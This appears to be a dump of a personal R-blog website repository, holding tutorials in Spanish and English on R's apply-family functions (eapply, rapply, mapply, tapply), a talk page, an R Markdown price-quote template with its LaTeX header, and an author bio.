En esta función, la "r" hace referencia a "recursivo". Podría decirse que tiene dos objetivos: Aplicar una función de manera recursiva a una lista o aplicar dicha función a solo los elementos de una lista con una clase específica. Esto de especial utilidad, pues como ya lo hemos discutido, las listas en R son quizás los objetos más útiles que hay, pues de manera muy sencilla almacenan bases de datos, números, cadenas de caracteres, gráficos, y más, por lo que resulta útil aplicar una función a, digamos, todos los elementos numéricos de una lista, sin la necesidad de conocer en qué posiciones se encuentran dichos elementos dentro de la lista. Un ejemplo sencillo se puede aplicar al famoso conjunto de datos `iris`:
```{r}
rapply(iris, mean, class="numeric")
rapply(iris, table, class="factor")
```
O bien, si tenemos una lista con distintas clases de objetos, podemos pedir que nos multiplique por dos aquellos elementos de la lista que son numéricos:
```{r}
rapply(list(2,5,7,"Esto no se puede multiplicar porque es una cadena de caracteres"), function(x){x*2}, class="numeric")
```
# Función mapply
La función `mapply()` puede verse como la versión multivariada de las funciones *apply*.Por ejemplo, con `lapply()` solo puede aplicarse la función a los elementos de una lista, pero si se tiene una lista cuyos elementos son un argumento de una función y otra lista a cuyos elementos son el otro argumento de la función, entonces se usa `mapply()`. La función que se va a aplicar debe tener un número de argumentos al menos igual al número de listas que se van a pasar a `mapply`. `MoreArgs` sirve en caso de que se tengan más argumentos que se necesiten pasar a la función. Resulta más sencillo mostrar su funcionamiento con un ejemplo que con palabras. Supongamos que queremos obtener el resultado de $x*y+1$ variando los valores de $x$ e $y$ de la siguiente manera: $1\cdot2+1,2\cdot3+1,3\cdot4+1,\cdots,10000\cdot10001+1$. La forma de obtener este cálculo mediante un ciclo `for` es la siguiente:
```{r, eval=FALSE}
z <- NULL
k <- 1
x <- 1:10000
y <- 2:10001
for(i in 1:10000){
z[k] <- x[i]*y[i]+1
k <- k+1
}
```
Mientras que con la función `mapply()` se obtiene así:
```{r, eval=FALSE}
mapply(function(x,y){x*y+1},
x=1:10000,
y=2:10001)
```
Ambas llegan al mismo resultado, sin embargo, `mapply()` es considerablemente más eficiente al realizar el cálculo. Compararemos los tiempos de ejecución de distintos procesos en el siguiente post, donde se mostrarán algunas versiones en paralelo de las funciones apply.<file_sep>/Varios/Borrador rapply mapply eapply.Rmd
Uso de environments en https://digitheadslabnotebook.blogspot.com/2011/06/environments-in-r.html
Funciones rapply, mapply y eapply en http://theautomatic.net/2018/11/13/those-other-apply-functions/.
<file_sep>/content/es/talk/conversatorioR/index.md
---
title: Uso de R como herramienta de análisis estadístico
event: Actividades sobre uso de R de Escuela de Estadística de la Universidad de Costa Rica
event_url: https://docs.google.com/document/d/15UjXWv_7GkJqFpaZoGa9zPOK_Jgq8uS4WnSubKmpmk4/edit
location: San José, Costa Rica
summary: La Escuela de Estadística tiene el agrado de invitarle a las siguientes charlas y talleres gratuitos que impartirá el Ing Ruiz de R Studio Inc del 24 al 27 de junio de 2019.
abstract: "La charla tendrá un formato de conversatorio, en donde estará el Ing. Edgar Ruiz de R junto con cuatro personas invitadas: <NAME>. (INEC, Costa Rica @gamboasanabria), <NAME>, Bach. (CeNAT, Costa Rica @MarianaCubero1), <NAME>, M.Sc. (INS, Costa Rica @serilone), <NAME>, Ph.D. (ECCI, UCR)"
# Talk start and end times.
# End time can optionally be hidden by prefixing the line with `#`.
date: "2019-06-27T10:00:00Z"
date_end: "2019-06-27T12:00:00Z"
all_day: false
# Schedule page publish date (NOT talk date).
publishDate: "2019-06-23T00:00:00Z"
authors: []
tags: []
# Is this a featured talk? (true/false)
featured: false
image:
caption: 'Fuente: [**elpais.cr**](https://www.elpais.cr/2015/09/15/el-iice-pilar-de-la-investigacion-economica/)'
focal_point: Right
links:
#- icon: twitter
# icon_pack: fab
# name: Follow
# url: https://twitter.com/georgecushen
url_code: ""
url_pdf: ""
url_slides: ""
url_video: ""
# Markdown Slides (optional).
# Associate this talk with Markdown slides.
# Simply enter your slide deck's filename without extension.
# E.g. `slides = "example-slides"` references `content/slides/example-slides.md`.
# Otherwise, set `slides = ""`.
slides: example
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects:
- internal-project
# Enable math on this page?
math: true
---
<file_sep>/content/en/post/2020-03-01-eapply_rapply_mapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "apply family functions - Part 4"
subtitle: "eapply(), rapply() and mapply() functions"
summary: "The eapply(), rapply() and mapply() functions in data analysis."
authors: ["<NAME>"]
tags: ["R", "RStudio", "apply functions", "eapply", "rapply", "mapply"]
categories: ["R basics"]
date: 2020-03-01T18:55:57-06:00
lastmod: 2020-03-01T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
# eapply function
## Using environments
In R, an *Environment* is a site to assign variables or values that we assign to objects. Each time a new R session begins, all created objects stay in the *global* **environment**. If we create the object `x`, it will then be in the *R* default *Environment*. The`ls()` function lists the created objects, so we can check that `x` actually exists.
```{r}
x <- 28022020
ls()
```
It is possible to assign the **global** *Environment* to an object that we'll call `environment_1`. The curious thing is that after doing this, `environment_1` is an object into the **global** *Environment* , but at the same time, it is the **global** *Environmet*.
```{r}
environment_1 <- globalenv()
class(environment_1)
ls()
```
This process is similar to using a list, a topic that we talked about in [this post](https://www.cesargamboasanabria.com/en/post/2019-12-08-lapply_sapply_vapply/). Since the object `environment_1` is the global environment, it contains the object`x`, which we assign to the **global** *Environment* and also includes itself in a cyclical way...
```{r}
environment_1$x
environment_1$environment_1
environment_1$environment_1$environment_1
ls(environment_1$environment_1$environment_1$environment_1)
```
The `environment_1` object could, as <NAME>day said, it creates a paradox that would destroy the universe, so it is best to eliminate it. Section 2.1.10 of the [R language definition](https://cran.r-project.org/doc/manuals/R-lang.html#Environment-objects) offers a more formal description of what a *Environment * is.
```{r}
rm(environment_1)
ls()
```
It is possible to create a new *Environment* that is independent of the global *Environment*, which we will call `environment_2`. When creating it, we can see that it is empty compared to the *global* **Environment**, which contains `x` and `environment_2`. Also, if we directly generate a new variable, say `z`, it will set to the *global * **Environment**.
```{r}
environment_2 <- new.env()
environment_2
ls(globalenv())
ls(environment_2)
z <- pi
ls(globalenv())
ls(environment_2)
```
Now we create a new object called `y`and we assign it to `environment_2`. Now, the object `y` will be contain **only** in `environment_2` and not in *Environment* **global**, even if the last one contains `environment_2`.
```{r}
environment_2$y <- "This is an abstract topic"
ls(globalenv())
ls(environment_2)
environment(x)
```
Has an *Environment* a real use? The answer is yes, and they are fundamental in something widely used in R: Functions. In general, when building a function, it is assumed that it has only two components: the arguments and the content of the function. Consider a simple function that reverses the sign of a number.
```{r}
reverse_sign <- function(number){
number*-1
}
```
In the previous case, the `reverse_sign()` function has a single argument **number**, while its content is $number\cdot -1$. However, the functions have a third argument: *Environment*. When the `reverse_sign()` function created, it was in the **global** *Environment*.
```{r}
ls(globalenv())
ls(environment_2)
environment(reverse_sign)
```
The consequence is that the `reverse_sign()` function only works in the *Environment* assigned to it. For example, the function run only on the object `x` that is in the **global** *Environment*:
```{r}
reverse_sign(x)
```
If we create an object that is also called `x`, but that is in the`environment_2`, the `reverse_sign()` function still running only in the **global** *Environment*.
```{r}
environment_2$x <- 123456
reverse_sign(x)
```
## eapply function
These small details that we usually don't handle in regular tasks using R may become indispensable in certain situations, such as when you want to use the `eapply()` function. Knowing basics on how an *Environment* works, we are going to eliminate all the objects created so far, this to keep everything in order.
```{r}
rm(list = ls())
```
As we also review in [this post](https://www.cesargamboasanabria.com/en/post/2019-12-08-lapply_sapply_vapply/), the `lapply()` function applies a function to each element of a list. Similarly, the `eapply()` function applies a function to each element named in an *Environment* with the difference that in `eaaply()`, the first argument is an *Environment*, and not a list as in `lapply() `. Let's create now a new *Environment* to apply a function to its elements that return the square root of each one plus 10:
```{r}
environment_1 <- new.env()
environment_1$element_1 <- 4
environment_1$element_2 <- 9
environment_1$element_3 <- 25
eapply(environment_1, function(x){
sqrt(x)+10
})
```
We can also display the result without name tags:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
}, USE.NAMES = FALSE)
```
Previous runs of the `eapply()` function evaluate our function in all the elements contained in the *Environment*, but there are exceptions if there are *hidden elements*. The *hidden elements* are objects that exist but are not visible to the naked eye, we can create the *element_4* as hidden as follows:
```{r}
environment_1$.element_4 <- 48
ls(environment_1)
```
If we repeat the previous evaluation of the `eapply()` function, it only runs with the *visible elements*:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
})
```
But we can run that function over all elements:
```{r}
eapply(environment_1, function(x){
sqrt(x)+10
}, all.names = TRUE)
```
# rapply function
In this function, the "r" refers to "recursive". This function has two objectives: Apply a function recursively to a list or apply that function only to the elements of a list with a specific class. This second reason is especially useful because the lists in R are perhaps the most useful objects when we are using that language because they store databases, numbers, character strings, graphics, and more. We can apply a function to every numeric element of a list, without the need to know in which positions these elements are within the list. A simple example can be applied to the famous `iris` data set:
```{r}
rapply(iris, mean, class="numeric")
rapply(iris, table, class="factor")
```
Or, if we have a list with different classes, we may want to multiply by two those elements of the list that are numerical:
```{r}
rapply(list(2,5,7,"We can't multiply this element because is a string"), function(x){x*2}, class="numeric")
```
# mapply function
The `mapply()` function can be seen as the multivariate version of the *apply* functions. For example, `lapply()` function can only be applied to the elements of a list, but if you have a list whose elements are an argument of a function and another list whose elements are the other argument of the function, then `mapply()` is used. The function to be applied must have as many arguments as the number of lists to pass to `mapply()`. `MoreArgs` argument is useful if there are more arguments that need to use in the function. It is easier to show its operation with an example than with words. Suppose we want to obtain the result of $x*y+1$ by varying the values of $x$ and $y$ as follows: $1\cdot 2 + 1, 2\cdot 3 + 1, 3\cdot 4 + 1, \cdots , 10000\cdot 10001 + 1$. We can obtain this calculation through a `for` loop as follows:
```{r, eval=FALSE}
z <- NULL
k <- 1
x <- 1:10000
y <- 2:10001
for(i in 1:10000){
z[k] <- x[i]*y[i]+1
k <- k+1
}
```
But we can also use the `mapply()` function:
```{r, eval=FALSE}
mapply(function(x,y){x*y+1},
x=1:10000,
y=2:10001)
```
Both functions display the same result; however, `mapply()` is considerably more efficient when performing the calculation. We will compare the running time of different processes in the next post when I'll show you some parallel versions of the apply family functions.<file_sep>/content/es/post/2019-07-31-tapply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Familia de funciones apply - Parte 2"
subtitle: "La función tapply()"
summary: "Se muestran ejemplos de uso de la función tapply()"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Funciones apply", "tapply"]
categories: ["Fundamentos de R"]
date: 2019-07-31T18:55:57-06:00
lastmod: 2019-07-31T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
En esta segunda parte de la serie de post sobre la familia de funciones apply le toca el turno la función `tapply()`. A diferencia de la función `apply()` tratada en el primer post, la función `tapply()` se usa frecuentemente para aplicar una función a subconjuntos de un vector. Normalmente, al trabajar con bases de datos, se cuenta con variables de distinta naturaleza, algunas pueden ser numéricas, otras categóricas, la idea de `tapply()` es obtener resúmenes de un vector pero siendo agrupado en relación a otros vectores (variables).
En esta ocasión utilizaremos e nuevo la base de datos de starwars vista en el post sobre el paquete `inspectdf`.
```{r, echo=FALSE, message=FALSE, warning=FALSE, results='hide'}
base <- read.csv("C:\\Users\\Dell\\OneDrive\\Academico\\Proyectos\\GitHub\\Website\\content\\es\\post\\referencias\\heroes_information.csv")[,-1]
library(DT)
library(dplyr)
library(inspectdf)
```
Si quisiéramos saber la altura promedio de los personajes, basta con ejecutar el siguiente comando.
```{r}
mean(starwars$height, na.rm = TRUE)
```
Sin embargo, es más valioso obtener la altura promedio de acuerdo con otra variable de interés que nos permita hacer alguna comparación, como por ejemplo el género. Para esto podemos utilizar la función `tapply()`.
```{r}
tapply(X=starwars$height, #Variable de interés
INDEX=starwars$gender, #Variable de agrupamiento
FUN=mean) #Función a aplicar
```
Los *NA* que aparecen se deben a que existen valores faltantes dentro de la base de datos, por lo cual la función `mean()` no calcula correctamente el promedio a menos que se realice una imputación de estos valores faltantes o bien se indique que la función `mean()` debe omitir los valores faltantes usando el argumento `na.rm=TRUE`. En la mayoría de las funciones de la familia `apply`, los argumentos que pertenecen a al función que se está aplicando (en este caso `mean()`) deben ir después del argumento `FUN`.
```{r}
tapply(X=starwars$height, #Variable de interés
INDEX=starwars$gender, #Variable de agrupamiento
FUN=mean, #Función a aplicar
na.rm=TRUE) #Se omiten los NA
```
La función `tapply()` no está limitada a una única variable de agrupamiento. El mismo concepto de "dimensiones" que aplicamos en la función `apply()` puede ser aplicado a `tapply()`, pero en esta ocasión las variables de agrupamiento deben especificarse dentro de una lista. A modo de ejemplo, supongamos que nos interesa saber la altura promedio según el género y el color de ojos.
```{r}
tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender),
FUN=mean,
na.rm=TRUE)
```
Si se desea pueden agregarse más variables de agrupamiento, pero todas deben ser dentro de la lista. Por ejemplo, podría ser de interés agrupar también por el color de piel de los personajes, aunque en este caso el resultado mostraría muchos valores faltantes pues no todas las combinaciones existen. Esto es una demostración de que cada vez que se agrupen variables, estos agrupamientos deben tener sentido, pues de lo contrario solo se añadiría ruido al análisis.
```{r}
tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender, starwars$skin_color),
FUN=mean,
na.rm=TRUE)
```
<file_sep>/Varios/Cotizaciones/UNFPA/Cotización.Rmd
---
always_allow_html: yes
output:
pdf_document:
keep_tex: yes
fig_caption: yes
include:
in_header: header.tex
urlcolor: blue
bibliography: mybibfile.bib
link-citations: yes
linkcolor: blue
csl: apa.csl
---
\pagenumbering{gobble}
\cleardoublepage
\newpage
```{r setup, include=FALSE}
knitr::opts_chunk$set(cache = FALSE, warning = FALSE, message = FALSE, dpi=1000,
dev="jpeg", out.width = '100%', out.height='100%', fig.pos="!h",
echo=FALSE)
library(carlians)
requeridos(knitr, ggplot2, tidyr, dplyr, lubridate, pander, readxl, kableExtra)
oldSource <- knit_hooks$get("source")
knit_hooks$set(source = function(x, options) {
x <- oldSource(x, options)
x <- ifelse(!is.null(options$ref), paste0("\\label{", options$ref,"}", x), x)
ifelse(!is.null(options$codecap), paste0("\\captionof{chunk}{", options$codecap,"}", x), x)
})
options(knitr.kable.NA = c(''))
```
```{r info}
info <- list(cliente="", empresa="Fondo de Población de las Naciones Unidas (UNFPA Costa Rica)",
direccion="Oficentro La Virgen, Pavas.", teléfono="2296-1265",
correo="<EMAIL>", validez=30, pago="Negociable, pagos parciales del equivalente en colones en fechas indicadas.", condiciones_especiales="",
moneda="dólar estadounidense", tipo_cambio="Indicado por Naciones Unidas al firmar el contrato.")
```
\positiontextbox[]{1cm}{2.5cm}{\huge{\textbf{\textcolor{white}{St<NAME>}}}}
\positiontextbox[]{1cm}{3.25cm}{\Large{\textbf{\textcolor{white}{Analista de datos}}}}
\positiontextbox[]{12.5cm}{1.5cm}{\LARGE{\textbf{\textcolor{white}{Propuesta económica}}}}
\subsection*{\Large{Elaborado el día `r format(Sys.time(), '%d de %B del %Y a las %H:%M:%S')`.}}
\subsection*{\Large{Presupuesto para:}}
```{r cliente}
cliente <- if(prod(is.null(info$cliente))<1){
info$cliente
}else{NA}
```
```{r}
if(sum(is.na(cliente))<1){
pander(paste("\\text{\\large{Sr(a)(ita):", cliente, "}}"))
}
```
```{r empresa}
empresa <- if(prod(is.null(info$empresa))<1){
info$empresa
}else{NA}
```
```{r}
if(sum(is.na(empresa))<1){
pander(paste("\\text{\\large{Institución:", empresa, "}}"))
}
```
```{r direccion}
direccion <- if(prod(is.null(info$direccion))<1){
info$direccion
}else{NA}
```
```{r}
if(sum(is.na(direccion))<1){
pander(paste("\\text{\\large{Dirección: ", direccion, "}}"))
}
```
\text{\large{Teléfono: `r info$teléfono` | Correo electrónico: `r info$correo`}}
```{r}
momento <- now()+days(info$validez)
condiciones <- data.frame(`Condiciones especiales`=ifelse(is.na(info$condiciones_especiales), "Ninguna", info$condiciones_especiales),
`Validez de la oferta`=paste(day(momento), "de", month(momento, label = TRUE, abbr=FALSE), "del", year(momento), "a las", paste(hour(momento),":",minute(momento), ":", round(second(momento),0), sep="")),
`Método de pago`=info$pago,
Moneda=info$moneda,
`Tipo de cambio`=info$tipo_cambio)
condiciones %>%
rename("Condiciones especiales"=Condiciones.especiales,
"Validez de la oferta"=Validez.de.la.oferta,
"Método de pago"=Método.de.pago,
"Tipo de cambio"=Tipo.de.cambio) %>%
kable(., "latex", booktabs=T, escape = F, caption = "Términos y condiciones", linesep="") %>%
kable_styling(latex_options = c("scale_down", "repeat_header", "hold_position"), repeat_header_text = "(cont.)", full_width = T, font_size = 9) %>%
column_spec(1, width = "2cm") %>%
column_spec(2, width = "5cm") %>%
column_spec(3, width = "2cm") %>%
column_spec(4, width = "6cm")
```
```{r}
costos <- function(ganancias, impuesto, dias){
archivos <- list.files(pattern = ".xlsx", full.names = T)
bases <- lapply(archivos, read_excel)
nombres <- gsub(".xlsx","",list.files(pattern = ".xlsx"))
for(i in 1:length(bases)){
bases[[i]] <- bases[[i]] %>%
mutate(producto=nombres[i])
}
base <- do.call(rbind, bases) %>%
mutate(costo=(necesario/contenido)*precio,
fila=1:nrow(.))
cantidad <- base$necesario
base <- base %>%
group_by(detalle) %>%
summarise(costo=sum(costo)) %>%
data.frame() %>%
mutate(porc_ganancia=ganancias,
venta=costo*(porc_ganancia/100+1),
`venta+IVA`=venta*as.numeric(paste("1.", impuesto, sep="")),
IVA=`venta+IVA`-venta,
ganancia=venta-costo,
cantidad=cantidad,
dias=dias) %>%
left_join(.,base, by=c("detalle", "costo")) %>%
arrange(fila) %>%
dplyr::select(detalle, costo, IVA, porc_ganancia, venta, `venta+IVA`, ganancia, cantidad, dias)
names(base) <- c("Detalle", "Costo", "IVA", "Porcentaje de ganancia", "Venta", "Venta + IVA", "Ganancia", "cantidad", "dias")
base
}
datos <- costos(0, 0,1)
```
```{r}
separador_miles <- function(numero){
format(round(numero, 1), nsmall=1, big.mark=",")
}
df <- data.frame(Cantidad=as.character(1),
Descripción=datos$Detalle,
Precio=datos$Venta,
IVA=datos$IVA,
Subtotal=datos$`Venta + IVA`)
df[nrow(df)+1,] <- NA
df <- df %>%
bind_rows(., tibble(Cantidad="Total",
Precio = sum(.[["Precio"]], na.rm=TRUE),
IVA = sum(.[["IVA"]], na.rm=TRUE),
Subtotal = sum(.[["Subtotal"]], na.rm=TRUE)))
df %>%
mutate_if(is.numeric, function(x){separador_miles(x)}) %>%
mutate_all(as.character) %>%
mutate_at(vars(Precio, IVA, Subtotal), function(x){gsub("\\s+","",x)}) %>%
mutate_all(function(x){ifelse(is.na(x) | x=="NA", "", x)}) %>%
dplyr::select(-Cantidad) %>%
kable(., "latex", booktabs=T, escape = F, caption = "Detalle de la cotización",
linesep="", align =c("l","r", "r", "r")) %>%
kable_styling(latex_options = c("scale_down", "repeat_header", "hold_position"), repeat_header_text = "(cont.)", full_width = T, font_size = 9) %>%
#column_spec(1, width = "1.5cm") %>%
column_spec(1, width = "12cm") %>%
row_spec(nrow(df)-1, bold = FALSE, hline_after = T) %>%
row_spec(nrow(df), bold=TRUE)
```
\text{\large{Gracias por su confianza.}}<file_sep>/content/en/authors/admin/_index.md
---
# Display name
name: <NAME>
# Username (this should match the folder name)
authors:
- admin
# Is this the primary user of the site?
superuser: true
# Role/position
role: Data analyst
# Organizations/Affiliations
organizations:
- name: National Institute of Statistics and Census
url: "www.inec.go.cr"
- name: University of Costa Rica
url: "http://estadistica.ucr.ac.cr/index.php/es/"
- name: R-Bloggers
url: "https://www.r-bloggers.com/2020/03/apply-family-functions-part-4/"
# Short bio (displayed in user profile at end of posts)
bio: My field of study is statistics, especially in classification analysis, forecasts and demographic topics focusing on programming.
interests:
- Statistics
- Data Analysis
- Programming
- Forecasts
- Getting and cleaning data
- Data Mining
education:
courses:
- course: Masters in Statistics
institution: University of Costa Rica
year: 2018-presente
- course: Specialization in Demographic Analysis for Sustainable Development
institution: CELADE-CEPAL
year: 2020
- course: B.S. in Statistics
institution: University of Costa Rica
year: 2017
# Social/Academic Networking
# For available icons, see: https://sourcethemes.com/academic/docs/widgets/#icons
# For an email link, use "fas" icon pack, "envelope" icon, and a link in the
# form "mailto:<EMAIL>" or "#contact" for contact widget.
social:
- icon: envelope
icon_pack: fas
link: '#contact' # For a direct email link, use "mailto:<EMAIL>".
mailto: <EMAIL>
- icon: twitter
icon_pack: fab
link: https://twitter.com/gamboasanabria
- icon: linkedin
icon_pack: fab
link: https://www.linkedin.com/in/cgamboasanabria/
- icon: github
icon_pack: fab
link: https://github.com/cgamboasanabria
# Link to a PDF of your resume/CV from the About widget.
# To enable, copy your resume/CV to `static/files/cv.pdf` and uncomment the lines below.
- icon: cv
icon_pack: ai
link: files/CV.pdf
# Enter email to display Gravatar (if Gravatar enabled in Config)
email: ""
# Organizational groups that you belong to (for People widget)
# Set this to `[]` or comment out if you are not using People widget.
user_groups:
- Researchers
- Visitors
---
Born in San José, Costa Rica, in 1989, <NAME> is a Statistician who graduated from the School of Statistics of the University of Costa Rica. Professor of Probability and Statistics, in addition to programming in the R language, is also a demographic researcher dedicated to algorithms for optimization and analysis through computer simulations.
He is recognized for his capacity for statistical analysis, software, and programming languages management for data analysis such as R, Python, and Git. Versatile for the automation of processes through specialized algorithms, analytical and mathematical capacity, and the ability for self-taught learning.<file_sep>/Varios/Cotizaciones/UNFPA/header.tex
%\usepackage{fancyhdr}
%\pagestyle{fancy}
%\rhead{\includegraphics[width = 1\textwidth]{marca.jpg}}
\usepackage{geometry}
\geometry{a4paper, left=10mm, right=10mm, bottom=15mm, top=16mm}
\usepackage{setspace}
\doublespacing
\usepackage[spanish]{babel}
\usepackage{color}
\usepackage{xcolor}
\usepackage{framed}
\colorlet{shadecolor}{gray!20}
\setcounter{secnumdepth}{0}
\usepackage{sectsty}
\chapternumberfont{\Large}
\chaptertitlefont{\Large}
\setcounter{tocdepth}{5}
\setcounter{secnumdepth}{5}
\setlength{\footskip}{20pt}%Esto sube el número de página
\usepackage{graphics}
\usepackage{setspace} %paquete para el doble espaciado
%\doublespacing %inicia el doble espaciado
%Esto quita el punto final en la numeracion de cada seccion
\usepackage{tocloft}
\usepackage{titlesec}
\titleformat{\section}
{\Large\bfseries}{\thesection}{0.5em}{}
\titleformat{\subsection}
{\large\bfseries}{\thesubsection}{0.5em}{}
\titleformat{\subsubsection}
{\normalsize\bfseries}{\thesubsubsection}{0.5em}{}
\titleformat{\paragraph}
{\normalsize\bfseries}{\theparagraph}{0.5em}{}
\renewcommand\cftsecaftersnum{}
\renewcommand\thesection{\arabic{section}}
\renewcommand\thesubsection{\thesection.\arabic{subsection}}
\usepackage{caption}
\usepackage{fancyhdr}
\pagestyle{fancy}
\fancyhf{}
\fancyhead[R]{\rightmark}
\fancyfoot[R]{\thepage}
\fancyfoot[C]{Teléfono 8650-3261 | <EMAIL> | <EMAIL>}
\setlength{\headheight}{21.9pt}
\renewcommand\sectionmark[1]{%
\markright{\thesection\ #1}}
\renewcommand{\footrulewidth}{0.4pt}
\renewcommand{\headrulewidth}{0pt}
%\renewcommand{\footnoterule}{%
% \kern -1pt
% \hrule width \textwidth height 1pt
% \kern 4pt
%}
%MARCA DE AGUA
\usepackage{graphicx}
\usepackage{fancyhdr}
\pagestyle{fancy}
\setlength\headheight{28pt}
\fancyhead[L]{\includegraphics[width=19cm]{cabecera.jpg}}
\fancyfoot[LE,RO]{}
\usepackage{booktabs}
\usepackage{longtable}
\usepackage{array}
\usepackage{multirow}
\usepackage{wrapfig}
%\usepackage{float}
\usepackage{colortbl}
\usepackage{pdflscape}
\usepackage{tabu}
\usepackage{threeparttable}
\usepackage{threeparttablex}
\usepackage[normalem]{ulem}
\usepackage{makecell}
\usepackage{xcolor}
\usepackage{tocloft}
\renewcommand{\cftsecleader}{\cftdotfill{\cftdotsep}}
%\renewcommand{\familydefault}{\sfdefault} %Para cambiar la fuente
%Para referenciar chunks
\usepackage{caption}
\usepackage{floatrow}
\floatsetup[figure]{capposition=top}
\floatsetup[table]{capposition=top}
\floatplacement{figure}{H}
\floatplacement{table}{H}
\captionsetup[table]{name=, labelformat=empty}
\DeclareNewFloatType{chunk}{placement=H, fileext=chk, name=}
\captionsetup{options=chunk}
\renewcommand{\thechunk}{Código~\arabic{chunk}}
\makeatletter
\@addtoreset{chunk}{section}
\makeatother
\usepackage{tikz}
\usetikzlibrary{calc}
\newcommand{\positiontextbox}[4][]{%
\begin{tikzpicture}[remember picture,overlay]
% \draw[step=0.5,gray!80!white] (current page.north west) grid (current page.south east); % For controlling
\node[inner sep=10pt,right,#1] at ($(current page.north west) + (#2,-#3)$) {#4};
\end{tikzpicture}%
}
<file_sep>/content/es/post/2019-07-31-tapply.html
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Familia de funciones apply - Parte 2"
subtitle: "La función tapply()"
summary: "Se muestran ejemplos de uso de la función tapply()"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Funciones apply", "tapply"]
categories: ["Fundamentos de R"]
date: 2019-07-31T18:55:57-06:00
lastmod: 2019-07-31T18:55:57-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
<script src="/rmarkdown-libs/header-attrs/header-attrs.js"></script>
<p>En esta segunda parte de la serie de post sobre la familia de funciones apply le toca el turno la función <code>tapply()</code>. A diferencia de la función <code>apply()</code> tratada en el primer post, la función <code>tapply()</code> se usa frecuentemente para aplicar una función a subconjuntos de un vector. Normalmente, al trabajar con bases de datos, se cuenta con variables de distinta naturaleza, algunas pueden ser numéricas, otras categóricas, la idea de <code>tapply()</code> es obtener resúmenes de un vector pero siendo agrupado en relación a otros vectores (variables).</p>
<p>En esta ocasión utilizaremos e nuevo la base de datos de starwars vista en el post sobre el paquete <code>inspectdf</code>.</p>
<p>Si quisiéramos saber la altura promedio de los personajes, basta con ejecutar el siguiente comando.</p>
<pre class="r"><code>mean(starwars$height, na.rm = TRUE)</code></pre>
<pre><code>## [1] 174.358</code></pre>
<p>Sin embargo, es más valioso obtener la altura promedio de acuerdo con otra variable de interés que nos permita hacer alguna comparación, como por ejemplo el género. Para esto podemos utilizar la función <code>tapply()</code>.</p>
<pre class="r"><code>tapply(X=starwars$height, #Variable de interés
INDEX=starwars$gender, #Variable de agrupamiento
FUN=mean) #Función a aplicar</code></pre>
<pre><code>## feminine masculine
## NA NA</code></pre>
<p>Los <em>NA</em> que aparecen se deben a que existen valores faltantes dentro de la base de datos, por lo cual la función <code>mean()</code> no calcula correctamente el promedio a menos que se realice una imputación de estos valores faltantes o bien se indique que la función <code>mean()</code> debe omitir los valores faltantes usando el argumento <code>na.rm=TRUE</code>. En la mayoría de las funciones de la familia <code>apply</code>, los argumentos que pertenecen a al función que se está aplicando (en este caso <code>mean()</code>) deben ir después del argumento <code>FUN</code>.</p>
<pre class="r"><code>tapply(X=starwars$height, #Variable de interés
INDEX=starwars$gender, #Variable de agrupamiento
FUN=mean, #Función a aplicar
na.rm=TRUE) #Se omiten los NA</code></pre>
<pre><code>## feminine masculine
## 164.6875 176.5161</code></pre>
<p>La función <code>tapply()</code> no está limitada a una única variable de agrupamiento. El mismo concepto de “dimensiones” que aplicamos en la función <code>apply()</code> puede ser aplicado a <code>tapply()</code>, pero en esta ocasión las variables de agrupamiento deben especificarse dentro de una lista. A modo de ejemplo, supongamos que nos interesa saber la altura promedio según el género y el color de ojos.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender),
FUN=mean,
na.rm=TRUE)</code></pre>
<pre><code>## feminine masculine
## black 195.5 182.0000
## blue 167.0 189.7500
## blue-gray NA 182.0000
## brown 160.0 167.3846
## dark NA NaN
## gold NA 191.0000
## green, yellow NA 216.0000
## hazel 178.0 170.0000
## orange NA 180.5000
## pink NA 180.0000
## red NA 154.8000
## red, blue 96.0 NA
## unknown NA 136.0000
## white NA NA
## yellow 168.0 178.8000</code></pre>
<p>Si se desea pueden agregarse más variables de agrupamiento, pero todas deben ser dentro de la lista. Por ejemplo, podría ser de interés agrupar también por el color de piel de los personajes, aunque en este caso el resultado mostraría muchos valores faltantes pues no todas las combinaciones existen. Esto es una demostración de que cada vez que se agrupen variables, estos agrupamientos deben tener sentido, pues de lo contrario solo se añadiría ruido al análisis.</p>
<pre class="r"><code>tapply(X=starwars$height,
INDEX=list(starwars$eye_color, starwars$gender, starwars$skin_color),
FUN=mean,
na.rm=TRUE)</code></pre>
<pre><code>## , , blue
##
## feminine masculine
## black NA NA
## blue NA 196
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
